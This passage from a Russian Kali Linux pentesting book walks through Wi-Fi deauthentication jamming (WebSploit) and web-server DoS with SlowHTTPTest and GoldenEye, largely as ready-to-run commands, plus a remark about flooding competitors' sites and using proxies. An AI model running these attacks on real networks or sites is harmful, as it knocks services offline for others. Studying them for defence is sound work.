Глава 27. Стресс-тест беспроводной сети с Wifi_Jammer: как
глушить Wi-Fi
Если у вас какие-либо проблемы с беспроводными устройствами, то следует
ознакомиться с Главой 19. Лучшие совместимые с Kali Linux USB Wi-Fi адаптеры
Возможно ли глушить Wi-Fi
Вы (или ваша организация) ответственно подошли к настройке беспроводных точек доступа (Wi-Fi): воспользовались подсказками по настройке роутера, в первую очередь, отключили WPS и придумали очень сложный пароль. Значит ли это, что теперь можно расслабиться? Нет, у злоумышленников, как минимум, ещё пара трюков в рукаве —
DoS и глушение Wi-Fi. Даже если они не смогут проникнуть в вашу сеть, они могут воспрепятствовать её нормальной работе.
Эта инструкция описывает глушение Wi-Fi, предназначенный для стресс-теста вашей беспроводной сети, чтобы вы могли оценить имеющиеся угрозы и предпринять превентивные меры безопасности.
Как правильно запустить Wifi_Jammer
После обновления Aircrack-ng изменилось имя беспроводного интерфейса. К сожалению, Wifi_Jammer перестал работать. Но это легко можно исправить коррекцией одной строки. Посмотрите подробности в Главе 26. Чиним Wifi_Jammer и Wifi_DoS в
WebSploit. Если вы уже отредактировали исходный код Wifi_Jammer, то можно продолжать.
Посмотрим имя нашего интерфейса:
1|
airmon-ng
Следующую команду запускаем так: airmon-ng start имя_интерфейса. У меня так:
1|
airmon-ng start wlan0
По материалам сайта WebWare.biz
173
Тестирование на проникновение с помощью Kali Linux 2.0
Обратите внимание, у меня появилось предупреждение (у вас его может и не быть):
1|
Found 2 processes that could cause trouble.
2|
If airodump-ng, aireplay-ng or airtun-ng stops working after
3|
a short period of time, you may want to kill (some of) them!
4|
PID Name
5|
3036 NetworkManager
6|
3187 dhclient
Программа предупреждает, что имеются конфликты с другими приложениями и что если airodump-ng, aireplay-ng или airtun-ng останавливают работу после короткого времени, то мне нужно остановить названные процессы. Это можно сделать так (у вас могут быть свои цифры — посмотрите на PID):
1|
kill 3036 2|
kill 3187
Продолжаем:
1|
airodump-ng wlan0mon
По материалам сайта WebWare.biz
174
Тестирование на проникновение с помощью Kali Linux 2.0
Я буду тренироваться на своей собственной ТД — она в самом вверху.
Запускаем WebSploit
1|
websploit
Задействуем плагин wifi_jammer:
1|
wsf > use wifi/wifi_jammer
По материалам сайта WebWare.biz
175
Тестирование на проникновение с помощью Kali Linux 2.0
Вам обязательно нужно «отремонтировать» модуль wifi_jammer, поскольку после обновления сторонних программ, он стал неработоспособным. Подробности, а также как вернуть его в строй написано в этой инструкции.
Посмотрим на его опции :
1|
wsf:Wifi_Jammer > show options
Нам нужно задать essid, bssid, channel и mon. Эти данные можно взять из вывода airodump-ng.
1|
wsf:Wifi_Jammer > set essid Mial
2|
wsf:Wifi_Jammer > set bssid 20:25:64:16:58:8C
3|
wsf:Wifi_Jammer > set channel 11
Также обязательно:
1|
wsf:Wifi_Jammer > set mon wlan0mon
Обратите внимание, что здесь нет вариантов, устанавливать значение нужно именно в
wlan0mon.
Запускаем командой run:
1|
wsf:Wifi_Jammer > run
Контролировать процесс можно двумя способами. Первый — просто убедиться, что ваши устройства больше не подключены к беспроводной сети Wi-Fi. Второй — с помощью команды airodump-ng wlan0mon. Обратите на такое поле её вывода как
PWR. Его значение при нормальной работе находилось в районе 40.
После начала атаки значение PWR составляет 0 и до самого конца атаки не поднимается. Сеть Wi-Fi в это время недоступна.
В данном примере мы глушили одну точку доступа, возможно глушить сразу все ТД, например, этой программой.
По материалам сайта WebWare.biz
176
Тестирование на проникновение с помощью Kali Linux 2.0
Суть атаки заключается в непрерывной отправке пакетов деаутентификации.
Борьба с глушением Wi-Fi
Говорят, есть модели роутеров, которые не обращают внимание на широковещательные пакеты деаутентификации. Возможно, стоит поискать подобные модели.
Во время атаки нужно понимать, что атакующий должен находиться в непосредственной близости — не более чем в нескольких сотнях метров.
Можно настроить автоматический выбор канала в точке доступа. Это должно затруднить атаку, т. к. атакующий должен будет заботиться о переключении каналов.
Радикальное решение — купить проводной роутер.
Используйте полученные данные только в благих целях. Это оградит вас и других людей от проблем.
Глава 28. Стресс-тест беспроводной сети с Wifi_DoS: как досить
Wi-Fi
Если у вас какие-либо проблемы с беспроводными устройствами, то следует
ознакомиться с Главой 19. Лучшие совместимые с Kali Linux USB Wi-Fi адаптеры
У Wifi_DoS очень много общего с Wifi_Jammer, о котором рассказано в предыдущей статье («Стресс-тест беспроводной сети с Wifi_Jammer: как глушить Wi-Fi»). На самом деле, почти все команды одинаковые, кроме парочки новых. Поэтому, если вам не хватает каких-то подробностей или скриншотов, то посмотрите статью, на которую чуть выше дана ссылка.
Данная информация предназначена для оценки потенциальных рисков DoS-атаки
Wi-Fi и выработки мер противодействия на основе полученных результатов.
Помните, вся ответственность за реализацию описанного здесь лежит на вас. Не
нарушайте законы и права других лиц — именно так можно избежать большого
количества проблем.
По материалам сайта WebWare.biz
177
Тестирование на проникновение с помощью Kali Linux 2.0
Как запустить Wifi_DoS
Глядя в исходный код Wifi_DoS, у меня появляются сомнения — работал ли он вообще когда-нибудь? Возможно, у кого-то и получалось запустить, но в определённых условиях. Там есть несколько неточностей, которые обязательно нужно исправить для нормальной работы. Поэтому начните со статьи «Чиним Wifi_Jammer и Wifi_DoS в
WebSploit», а затем возвращайтесь сюда.
Посмотрим имя беспроводного интерфейса и переведём беспроводную карту в режим монитора, чтобы собрать необходимые для DoS-атаки данные.
1|
airmon-ng
2|
airmon-ng start wlan0
Смотрим список доступных сетей и необходимые нам данные:
1|
airodump-ng wlan0mon
WebSploit теперь нужно запускать так:
1|
cd && websploit
Включаем использование модуля wifi_dos:
1|
use wifi/wifi_dos
Задаём необходимые данные:
1|
wsf:Wifi_Dos > set essid Mial
2| wsf:Wifi_Dos > set bssid 20:25:64:16:58:8C
3| wsf:Wifi_Dos > set channel 11
А здесь внимательнее, прочитайте рекомендацию ниже:
1| wsf:Wifi_Dos > set interface wlan0 2| wsf:Wifi_Jammer > set mon wlan0mon
Здесь могут быть варианты. interface — wlan0 или что-то другое, что у вас отображается по команде airmon-ng. Значение mon всегда wlan0mon — здесь без вариантов.
Т.е., например, у меня рабочая конфигурация выглядит так:
По материалам сайта WebWare.biz
178
Тестирование на проникновение с помощью Kali Linux 2.0
Запускаем:
1|
wsf:Wifi_Jammer > run
DoS Wi-Fi в действии, все беспроводные устройства потеряли связь с точкой доступа:
По материалам сайта WebWare.biz
179
Тестирование на проникновение с помощью Kali Linux 2.0Часть 4. Стресс-тесты сети Глава 29. Стресс-тест сети (DoS веб-сайта) со SlowHTTPTest в Kali Linux: slowloris, slow body и slow read атаки в одном инструменте Стресс-тесты сети могут дать важные данные о проблемах, связанных с производительностью сервера, о неправильной (недостаточной) его настройке. Даже чтобы проверить, правильно ли настроен и работает mod_evasive пригодятся утилиты для имитации DoS атак.
Связанные статьи по защите веб-сервера:
Как усилить веб-сервер Apache с помощью mod_security и mod_evasive на
CentOS
Связанные статьи по DoS:
Стресс-тест сети с Low Orbit Ion Cannon (LOIC)
Стресс-тест сети (DoS веб-сайта) с SlowHTTPTest в Kali Linux: slowloris, slow body и slow read атаки в одном инструменте (вы её читаете)
SlowHTTPTest — это имеющий множество настроек инструмент, симулирующие некоторые атаки отказа в обслуживании (DoS) уровня приложения. Он работает на большинстве платформ Linux, OSX и Cygwin (Unix-подобное окружение и интерфейс командной строки для Microsoft Windows).
Эта программа реализует наиболее общие замедляющие работу сети DoS атаки уровня приложений, такие как Slowloris, атака slow body, атака Slow Read (на основе эксплойта постоянного таймера TCP), она
занимает весь доступный пул подключений, а также атака Apache Range Header, которая становится причиной очень значительного использования памяти и центрального процессора на сервере.
Slowloris и Slow HTTP POST DoS атаки полагаются на факт, что HTTP, намеренно, требует от запросов быть полученными сервером полностью до того, как они будут обработаны. Если запрос HTTP неполон или скорость его пересылки очень медленная,
По материалам сайта WebWare.biz
180
Тестирование на проникновение с помощью Kali Linux 2.0
сервер сохраняет своио ресурсы занятыми, ожидая оставшихся данных. Если сервер поддерживает слишком много занятых ресурсов, то это влечёт отказ в обслуживании.
Этот инструмент отправляет частичные запросы HTTP, пытаясь добиться отказа в обслуживании от целевого HTTP сервера.
Атака Slow Read нацелена на те же ресурсы, что и slowloris со slow body, но вместно продлевания запроса, она отправляет легитимные HTTP запросы, но ответы читает медленно.
Установка SlowHTTPTest
Установка для пользователей Kali Linux
Для пользователей Kali Linux установка через apt-get .. (жизнь хороша!)
1|
apt-get install slowhttptest
Для других дистрибутивов Linux
Инструмент распространяется как портативный пакет, т. е. просто загрузите последний тарбол из секции загрузки, извлеките, настройте, скомпилируйте и установите.
Этот набор команд делает следующее: скачивает самую последнюю версию
SlowHTTPTest, распаковывает её и переходим в каталог с программой:
1|
(t=`curl -s https://code.google.com/p/slowhttptest/downloads/list | grep -E -o
'//slowhttptest.googlecode.com/files/slowhttptest(.)*.tar.gz" onclick="' | sed 's/\/\///' | sed 's/" onclick="//' | head -1`; curl -s $t -o slowhttptest-last.tar.gz) && tar -xzvf slowhttptest-last.tar.gz && cd slowhttptest-*
Т.е. теперь только остаётся выполнить конфигурацию, компиляцию и установку.
По материалам сайта WebWare.biz
181
Тестирование на проникновение с помощью Kali Linux 2.0
Для тех, кто предпочитает скачать архив вручную, переходите сюда.
1|
$ tar -xzvf slowhttptest-x.x.tar.gz
2|
$ cd slowhttptest-x.x
3|
$ ./configure --prefix=PREFIX
4|
$ make
5|
$ sudo make install
Здесь PREFIX должен быть заменён на абсолютный путь, где инструмент slowhttptest должен быть установлен.
У вас должна быть установлена libssl-dev для успешной компиляции этого инструмента.
Большинство систем должны иметь его.
Mac OS X
Используем Homebrew:
1|
brew update && brew install slowhttptest
Linux
Попробуйте ваш любимый пакетный менеджер, некоторые из них знают о slowhttptest
(как Kali Linux).
Использование SlowHTTPTest
slowhttptest это потрясающий инструмент, который позволяет делать многие вещи.
Далее только несколько примеров использования.
Пример использования в режиме slow body a.k.a R-U-Dead-Yet, результаты только выводятся на экран:
1|
slowhttptest -c 1000 -B -i 110 -r 200 -s 8192 -t FAKEVERB -u https://192.168.1.37/info.php - x 10 -p 3
Тоже самое, но график сохраняется в файл:
1|
lowhttptest -c 1000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u https://192.168.1.37/info.php -x 10 -p 3
По материалам сайта WebWare.biz
182
Тестирование на проникновение с помощью Kali Linux 2.0
А это тесты памяти, которые я проводил с интервалами в несколько секунд на сервере, который подвергался атаке. Первый замер сделан до атаки, последующие — во время.
Видно, что количество свободной памяти уменьшалось очень стремительно вплоть до того момента, пока сервер не лёг.
Пример использования в режиме slow headers a.k.a. Slowloris:
1|
slowhttptest -c 1000 -H -i 10 -r 200 -t GET -u https://192.168.1.37/info.php -x 24 -p 3
Тоже самое, но график сохраняется в файл:
1|
slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u https://192.168.1.37/info.php -x 24 -p 3
Всё очень похоже: сервер лёг и больше не поднимался:
По материалам сайта WebWare.biz
183
Тестирование на проникновение с помощью Kali Linux 2.0
Пример использования в режиме Slow Read через прокси.
Здесь x.x.x.x:8080 — это прокси, который используется для доступа к веб-сайту с IP отличного от вашего:
1|
slowhttptest -c 1000 -X -r 1000 -w 10 -y 20 -n 5 -z 32 -u https://192.168.1.37/info.php -p 5 -l
350 -e x.x.x.x:8080
Сервер в нокауте:
По материалам сайта WebWare.biz
184
Тестирование на проникновение с помощью Kali Linux 2.0
Вывод по SlowHTTPTest
В зависимости от выбранного уровня детальности, вывод может быть как простым в виде генерируемых каждый 5 секунд сообщений, показывающих статус соединений
(это при уровне 1), так и полным дампом трафика (при уровне детальности 4).
-g опция означает создание файла CSV, а также интерактивного HTML, основанного на инструментах Google Chart.
Приведённые выше скриншоты показывают состояние соединений и доступность сервера на различных этапах времени, а также дают общую картину поведения конкретного сервера под конкретной нагрузкой во время заданного временного интервала.
Файл CSV может быть полезен в качестве источника для вашего любимого инструмента по работе с данными, среди них могут быть MS Excel, iWork Numbers или Google Docs.
Последнее сообщение, которые выводит программа при закрытии, этот статус завершения, они могут быть следующими:
“Hit test time limit” программа достигла лимита времени, заданного аргументом
-l
“No open connections left” пир закрыл все соединения
“Cannot establish connection” не было установлено соединений за время N секунд теста, где N или величина аргумента -i, или 10 (значение по умолчанию).
Это может случиться если нет маршрута к удалённому хосту или пир лёг.
По материалам сайта WebWare.biz
185
Тестирование на проникновение с помощью Kali Linux 2.0
“Connection refused” удалённый сервер не принимает соединения (может быть только от тебя? Попробуйте использовать прокси) на определённом порту
“Cancelled by user” вы нажали Ctrl-C или отправили SIGINT каким-либо другим образом
“Unexpected error” не должно никогда случаться.
Примеры вывода реальных тестов SlowHTTPTest
Примеры уже даны чуть выше, давайте сделаем ещё один. Как и в предыдущие разы у меня доступ к атакующей и атакуемой машинам, поэтому есть возможность выполнить замеры на обоих. В этот раз посчитаем количество соединений.
Со стороны атакующего
Итак, я собрал статистику для атаки на https://192.168.1.37 с 1000 соединениями.
1|
slowhttptest -c 1000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u https://192.168.1.37/info.php -x 10 -p 3
По материалам сайта WebWare.biz
186
Тестирование на проникновение с помощью Kali Linux 2.0
Со стороны сервера-жертвы
1|
root@WebWare-Debian:# netstat | grep http | wc -l
2|
111
Показатели не получается снять во время проведения атаки, т. к. по SSH сервер также перестаёт отвечать. Общее число http соединений подпрыгнуло до 111 в первые 10 секунд.
Этого более чем достаточно чтобы положить сервер (это могут быть большинство маленьких серверов или VPS).
Рекомендации по тестированию DoS
DoS атака чужих серверов без разрешения, особенно успешная, является преступлением, в том числе в РФ
При атаке на локалхост (особенно на маломощных и виртуальных машинах), тормоза сервера могут быть связаны не с DoS атакой, а с тем, что сама программа SlowHTTPTest заняла все ресурсы и сама по себе тормозит компьютер.
Если при атаке на удалённый хост программа пишет вам, что он недоступен, а при попытке открыть страницу веб-сайта в браузере действительно ничего не открывается, то не спешите радоваться. Вполне возможно, сто сработала защита от DoS атаки и ваш IP (временно) заблокирован. Для всех остальных сайт прекрасно открывается. Можете убедиться в этом сами, используя любой анонимайзер или прокси или подключившись через другого Интернет- провайдера.
Заключение
Это можно делать с Windows, Linux и даже с Mac. Если вы запустите несколько DoS инструментов, таких как GoldenEye, hping3 на один веб-сервер, то тогда его будет очень просто выбить. Общие советы по защите от DoS будут в следующей статье (да, следующая статья опять про стресс-тест сети). А о правильной настройке сервера, в том числе о модуле, защищающим именно от слоу-атак, будет рассказано в ближайшее время.
Глава 30. Стресс-тест сети: DoS веб-сайта в Kali Linux с GoldenEye
На страницах WebWare.biz и в предыдущих главах уже говорилось об инструментах
DoS, которые могут сильно нагрузить серверы HTTP, чтобы парализовать их работу из- за исчерпания пула ресурсов. GoldenEye — это ещё один, со своими особенностями, который может положить сервер за 30 секунд, в зависимости от того, насколько велик
По материалам сайта WebWare.biz
187
Тестирование на проникновение с помощью Kali Linux 2.0
пул его памяти. Конечно, он не работает на защищённых серверах и серверах за правильно настроенными WAF, IDS. Но это отличный инструмент для тестирования вашего веб-сервера на повышенную нагрузку. А на основании полученных результатов можно изменить правила iptables/файерволов для увеличения устойчивости и сопротивляемости к негативным факторам.
Подробности об инструменте GoldenEye:
Название утилиты: GoldenEye
Автор: Jan Seidl
Веб-сайт: https://wroot.org/
Из поста автора GoldenEye:
1.
Этот инструмент предназначен только для целей исследования и любое другое вредоносное его использование запрещено.
2.
GoldenEye — это приложение на питоне для ТОЛЬКО ЦЕЛЕЙ ТЕСТИРОВАНИЯ
БЕЗОПАСНОСТИ!
3.
GoldenEye это инструмент тестирования HTTP DoS.
4.
Эксплуатируемый вектор атаки: HTTP Keep Alive + NoCache
Типы DoS или DDoS атак
Давайте пройдёмся по самой базовой информации об атаках DoS или. DDoS. Обычно выделяют три вида DoS и DDoS атак:
1.
DoS и DDoS атаки уровня приложений
2.
DoS и DDoS атаки уровня протокола
3.
DoS и DDoS атаки насыщения полосы пропускания
DoS и DDoS атаки уровня приложений
DoS и DDoS атаки уровня приложений — это атаки, которые нацелены на Windows,
Apache, OpenBSD или другое программное обеспечение для выполнения атаки и краха сервера.
DoS и DDoS атаки уровня протокола
DoS и DDoS атаки уровня протокола — это атаки на уровне протокола. Эта категория включает Synflood, Ping of Death и другие.
DoS и DDoS атаки насыщения полосы пропускания
Этот тип атак включает ICMP-флуд, UDP-флуд и другие типы флуда, осуществляемые через поддельные пакеты.
Слова DoS и DDoS близки по значению. Когда атака ведётся с одной машины, обычно говорят о DoS атаке. При большом количестве атакующих из ботнета (или группы) говорят о DDoS атаке. Об этих атаках доступно много информации, но не важна, какого типа эта атака, т. к. они все одинаково вредны для сервера/сети.
По материалам сайта WebWare.biz
188
Тестирование на проникновение с помощью Kali Linux 2.0Загрузка GoldenEye Сторонние программы, установленные не из репозитория, я собираю в каталоге /opt.
Если у вас нет каталога для сторонних программ, то создайте его и перейдите туда:
1|
mkdir opt
2|
cd opt
Следующая
большая команда создаст каталог, загрузит туда последнюю версию
GoldenEye, распакует архив и сразу запустит GoldenEye (покажет справку по программе):
1|
mkdir GoldenEye && cd GoldenEye && wget https://github.com/jseidl/GoldenEye/archive/master.zip && unzip master.zip && cd
GoldenEye-master/ && ./goldeneye.py
Если вам хочется всё сделать самому — постепенно, то продолжаем. Для начала создаём каталог GoldenEye, переходим туда и скачиваем архив с программой:
1| root@WebWare-Kali:/opt# mkdir GoldenEye
2| root@WebWare-Kali:/opt# cd GoldenEye
3| root@WebWare-Kali:/opt/GoldenEye# wget https://github.com/jseidl/GoldenEye/archive/master.zip
После скачивания распаковываем файл архива master.zip.
1| unzip master.zip
По материалам сайта WebWare.biz
189
Тестирование на проникновение с помощью Kali Linux 2.0
Теперь у нас появился каталог GoldenEye-master, переходим туда и проверяем его содержимое:
1|
ls
2|
cd GoldenEye-master/
3|
ls
Запуск GoldenEye – досим веб-сайт
Запуск очень прост, делается это так:
1|
./goldeneye.py
Программа показывает нам свою справку:
По материалам сайта WebWare.biz
190
Тестирование на проникновение с помощью Kali Linux 2.0
Необходимо осведомлять пользователей о расписании тестирования и возможных перебоях в работе. Поскольку часто результатом симуляции атаки является остановка работы.
Ну и все другие предупреждения: вы не должны тестировать (симулировать атаку) других без их разрешения. Поскольку в случае причинения вреда, вы можете быть привлечены к ответственности в соответствии с законодательством.
Данная информация размещена в образовательных целях. Для тестирования своих серверов, для анализа качества их настройки и разработки мер противодействия атакам.
Запуск слегка различается от используемой вами ОС:
1|
root@WebWare-Kali:/opt/GoldenEye/GoldenEye-master# ./goldeneye.py https://www.goldeneyetestsite.com/
(или)
1|
sudo ./goldeneye.py https://www.goldeneyetestsite.com/
(или)
1|
python goldeneye.py https://www.goldeneyetestsite.com/
В зависимости от того, где вы сохранили файлы, подредактируйте ваш путь и команду.
Далее тесты GoldenEye:
Следить за состоянием сервера я буду командой top:
Т.е. сервер находится в состоянии простоя, процесс полностью свободен, свободной оперативной памяти доступно 350 мегабайт.
Атака
1|
./goldeneye.py https://192.168.1.37/info.php
По материалам сайта WebWare.biz
191
Тестирование на проникновение с помощью Kali Linux 2.0
Результат
Можно посмотреть по скриншоту, процессор по-прежнему практически бездействует, но количество свободной памяти резко сократилось, увеличилось количество спящих процессов.
Тем не менее, сервер не удалось полностью положить при атаке в один поток (хотя вообще-то, такая задача и не ставилась).
Анализ атаки GoldenEye
Посмотрим лог сервера:
1|
cat /var/log/apache2/access.log | grep -E '192.168.1.55'
Я использую grep -E '192.168.1.55', чтобы отфильтровать подключения только с машины, с которой велась атака.
Видим там примерно такое:
1|
192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET
/info.php?vySSDx=tG1rmfX4HbYXBm&CKVuvV=JLoK&nHc8x=0x5YKQtvHs0HWS68
HTTP/1.1" 200 69504 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_3_3)
AppleWebKit/535.6 (KHTML, like Gecko) Version/6.0.5 Safari/535.17"
По материалам сайта WebWare.biz
192
Тестирование на проникновение с помощью Kali Linux 2.0
2|
192.168.1.55 - - [18/Jun/2015:17:06:48 +0700] "GET
/info.php?dC1FyXpw=hB6Oh&rjcf74A=YVA&YUtUXuDo2s=2pLY7nlq&SjyqoF=wUIx8Aq&tXkr fJRw=LsgED HTTP/1.1" 200 69504 "https://www.baidu.com/k1IkNXv" "Mozilla/5.0
(Macintosh; Intel Mac OS X 11_0_4) AppleWebKit/536.12 (KHTML, like Gecko)
Chrome/10.0.623.89 Safari/536.26"
3|
192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET
/info.php?0Nk7p=kSf&1eVF8PNy=UpDtxpDmJE2Fbx6&lPS=53T0AUI6Xu&5EbHY=scv1yBq8O
6Y&JJthAkQqqk=HUEQBD5ONbAMxVlWHxai HTTP/1.1" 200 69504 "-" "Mozilla/5.0
(Windows NT 5.1; WOW64) Gecko/20021304 Firefox/12.0"
4|
192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET /info.php?SAQMIx5Pl=VWGEFj3q8N0
HTTP/1.1" 200 69504
"https://www.google.com/gCqMk2Q05?DxQe=67gW4HUd3iTKCu2qWSJ&ngWHMmS1=5Xyo
Gh6q2sVlyHBdK&bl185B=anwKamnu2xK&RpI=HA0wNexUytc&uOqLV=6TNbGepqbnr&uu2fj tL63=u5lnA701na4cYYH0yN&TOY066XT=3WJQhmtXRyCo46HnbXY1" "Mozilla/5.0 (Linux x86_64; X11) Gecko/20010905 Firefox/17.0"
5|
192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET
/info.php?jA5Kw=fwtSMfaPQ8XtCaK&Y0fBbDfSXd=8Jm5hqt&xPC=1qwBHvMDy7gl
HTTP/1.1" 200 69504 "-" "Mozilla/5.0 (Windows NT 5.1; WOW64) Gecko/20011709
Firefox/23.0"
6|
192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET
/info.php?t2U0aYjxm=q21n4BARB1&qxI1=cTw&XjGPpG=W3AAWvebbW HTTP/1.1" 200 69504 "https://www.baidu.com/bQnoS7ULAY" "Mozilla/5.0 (Windows NT.6.2; Win64; x64)
AppleWebKit/536.10 (KHTML, like Gecko) Chrome/18.0.1844.44 Safari/537.21"
7|
192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET
/info.php?nkIkop=6pivICjNb6&U3Y=dDlbGnW3feTEXCm&aH2JLMl=sGmkpeSLnTtXahs7agi&
8htjBss=DFuXcUiJ5G5Fu7c HTTP/1.1" 200 69504 "-" "Mozilla/5.0 (compatible; MSIE 10.0;
Macintosh; .NET CLR 3.0.8867; Intel Mac OS X 11_6_2)"
8|
192.168.1.55 - - [18/Jun/2015:17:06:48 +0700] "GET
/info.php?p6P23Hj=IcVgaSIUoVTanmFIDan&WWml82r3D=TCY8rta5YrwVsLJmrM HTTP/1.1"
200 69504
"https://www.baidu.com/fWaBwllK?aNP85MesWv=VhL6v32qtwyj&6CLwEBed=Eb73YTA24o
YXmLk2w&Uy3wv=4pvNH8y&Jvirs=RJ4hKfRa&HyIYt8gtP=CHjm8OJaOP2djoQS&rm7bH=rukJ
4726B14D3XOxDwJ6&QBkOD3=33qpPxVM3ih76MaSgnT&s7gO=3WrX3Vd&Vsh=A13d"
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_4_1) AppleWebKit/536.10 (KHTML, like Gecko)
Chrome/15.0.1172.45 Safari/535.15"
9|
192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET
/info.php?so64O=2GhoHQaFy&DSmxwEWk=tYxV&y1C7mM=kQbuxco5oJfLPocGLl&kbItk4Rl j=LjVhrLgelmtLYDuldfF HTTP/1.1" 200 69504
"https://192.168.1.37/uxNqvi6EnN?cAyrBjvKc=OsSGuqs&rrlLD=2bKFfSyTf" "Mozilla/5.0
(Windows; U; MSIE 10.0; Windows NT 5.1; .NET CLR 2.2.16303; Win64; x64)"
10|
192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET
/info.php?EXRbe03wp=fEBV5exjikcr8oNbEkmN&vpg8wYXv=DMGpYP1RMBUglSjbv4g&55prJ
=fY78WvDU3vW7GaoW4etN&JWEFmlYFU=yFyBEk7 HTTP/1.1" 200 69504 "-" "Mozilla/5.0
(Windows; U; MSIE 8.0; Linux x86_64; .NET CLR 1.0.1395; X11)"
11|
192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET
/info.php?7xIRdP0=8mjyacN&kEd2MwYtJ=bWhJvAH3A1H&xWe7vp6nH=faGl3PGJ4xAf&dSn j5CW=wOBRfkLbMrEWdmMFvov&xWPL3sYb=WN0yYPXu HTTP/1.1" 200 69504 "-"
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_0) Gecko/20062612 Firefox/18.0"
По материалам сайта WebWare.biz
193
Тестирование на проникновение с помощью Kali Linux 2.0
12|
192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET /info.php?lVn80y605=IDRbDmoiDyNBu
HTTP/1.1" 200 69504 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_4) Gecko/20052008
Firefox/18.0"
13|
192.168.1.55 - - [18/Jun/2015:17:06:52 +0700] "GET
/info.php?mAthtfI=c4QdAopYyQGAsJAl0XUH HTTP/1.1" 200 69504
"https://www.yandex.com/jbOJRnhpii?fW4YmYLq=6A6f8qyxLRk6" "Mozilla/5.0 (Linux i386;
X11) AppleWebKit/536.27 (KHTML, like Gecko) Version/4.1.4 Safari/537.21"
14|
192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET /info.php?1nwS7r=g6qpYcfOre
HTTP/1.1" 200 69504 "-" "Mozilla/5.0 (Linux i386; X11) Gecko/20053002 Firefox/15.0"
15|
192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET
/info.php?00iHfl2=CGhueehx3DqR32D&MnPMIcqiTN=HcIR&GFgFaO=IJL HTTP/1.1" 200 69504 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_3_3) AppleWebKit/535.29 (KHTML, like Gecko) Chrome/19.0.1233.51 Safari/536.18"
16|
192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET /info.php?Ml1k=DFVW0F7 HTTP/1.1"
200 69504 "-" "Mozilla/5.0 (Linux i386; X11) AppleWebKit/537.1 (KHTML, like Gecko)
Chrome/8.0.1320.86 Safari/535.21"
17|
192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET
/info.php?khUn=xnRp0gXjlF&bl8TpeXEF5=28W&wPkB=cnOPTgwOpPGC&12cnFT6b=XNDSX
FPdtraDsR&0FqigAn62=Kl4Y7pj2e7lj0nGoGN HTTP/1.1" 200 69504 "-" "Mozilla/5.0
(Windows NT.6.2; Win64; x64) AppleWebKit/537.3 (KHTML, like Gecko) Version/5.1.2
Safari/536.32"
(Изображение можно увеличить, нажмите на него)
Одного взгляда на логи достаточно, что каждый запрос GET содержит различные строки, различные пользовательские агенты и различных реферов, среди которых Bing,
Baidu, Yandex и другие рандомные поисковые системы.
Так что происходит, когда ваш веб-сервер встречается с этой атакой? Он анализирует входящий трафик, проверяет запрашиваемые URL, адреса источников и поле Referrer и пропускает их с кодом 200 OK. Почему? Потому что каждый браузер был различным.
По материалам сайта WebWare.biz
194
Тестирование на проникновение с помощью Kali Linux 2.0
Инструмент был создан остроумно так, чтобы любой сервер мог подумать, что это различные пользователи, пытающие зайти с одного IP (может быть IP прокси или большой организации?) с различными браузерами (Firefox, Chrome, MSIE, Safari и т. д.), различными операционными системами (Mac, Linux, Windows и т.д.) и даже с различными реферами. Да, возможно запрашиваемый URL был неправильным, но нормальные веб-сервера всё равно пропустят его, перенаправят на страницу ошибки в то время как соединение будет оставаться открытым (например, Apache worker/socket).
Стандартный веб-сервер обычно позволяет X число одновременных пользователей с одного IP и с большим количеством соединений/используемых сокетов, этот тип атаке приводит к тяжёлому давлению на сервер и последующие пользователи получают ошибку (HTTP 503 или наподобии). Следовательно, атакующий с несколькими рандомными proxy/VPN может быстро истощить ресурсы сервера. Он даже может замедлить атаки на один IP для избежания начального выявления:
1|
root@kali:/GoldenEye/GoldenEye-master# ./goldeneye.py https://www.goldeneyetestsite.com/ -w 10 -s 10 -m random
Вышеприведённая команда использует:
-w = 10 одновременные рабочие
-s = 10 одновременных соединений
-m = рандом, смесь GET и POST
Совершенный DoS!
Интересное наблюдение по Google Analytics и GoldenEye
Я попробовал это в живую, чтобы просто посмотреть, как поведёт себя реальный веб- сервер. Интересно, оказывается что Google Analytics воспринимает этот трафик как реальный и добавляет данные от флуда в статистику (хотя он и идёт с одного IP, но различные рефереры и браузеры убеждают Google в том, что это отдельные пользователи). Можно придумать ещё пару способов эксплуатировать это:
Можно повышать свой рейтинг в Google, т. к. она будет воспринимать это как легитимный трафик.
Если Google будет наказывать за это, то тогда можно зафлудить веб-сайты конкурентов для понижения их ранжирования в Google.
Эта палка о двух концах.
Блокирование/защита от атаки GoldenEye
Следующие предложения хорошо сработают, когда вы используете Apache:
1.
Понижение соединений на один IP (обычно их 300 на IP для Apache)
2.
Редактирование порога соединений на IP
3.
Отключить настройки KeepAlive и нижний Connection Timeout (по умолчанию это
300)
4.
Если вы хоститесь на общем сервере, обратитесь к сисадминам. Если они не могут защитить от этой простой атаки, то просто переезжайте к хостинг компании получше.
5.
Используйте Web application Firewall (WAF).
По материалам сайта WebWare.biz
195
Тестирование на проникновение с помощью Kali Linux 2.06.
Использование белых листов для входящих запросов — и эта атака не окажет эффекта на ваш сервер.
7.
NGINX и Node.js вроде бы лучше справляются с атаками подобного рода.
Заключение GoldenEye выглядит как расширенная (или схожая на) HTTP Flooder программа. Обе
работают похожим образом, но NoCache и KeepAlive от GoldenEye делают большую разницу. Также она использует интересный способ перемешивания браузеров, операционных систем и рефереров, что может обмануть файервол.
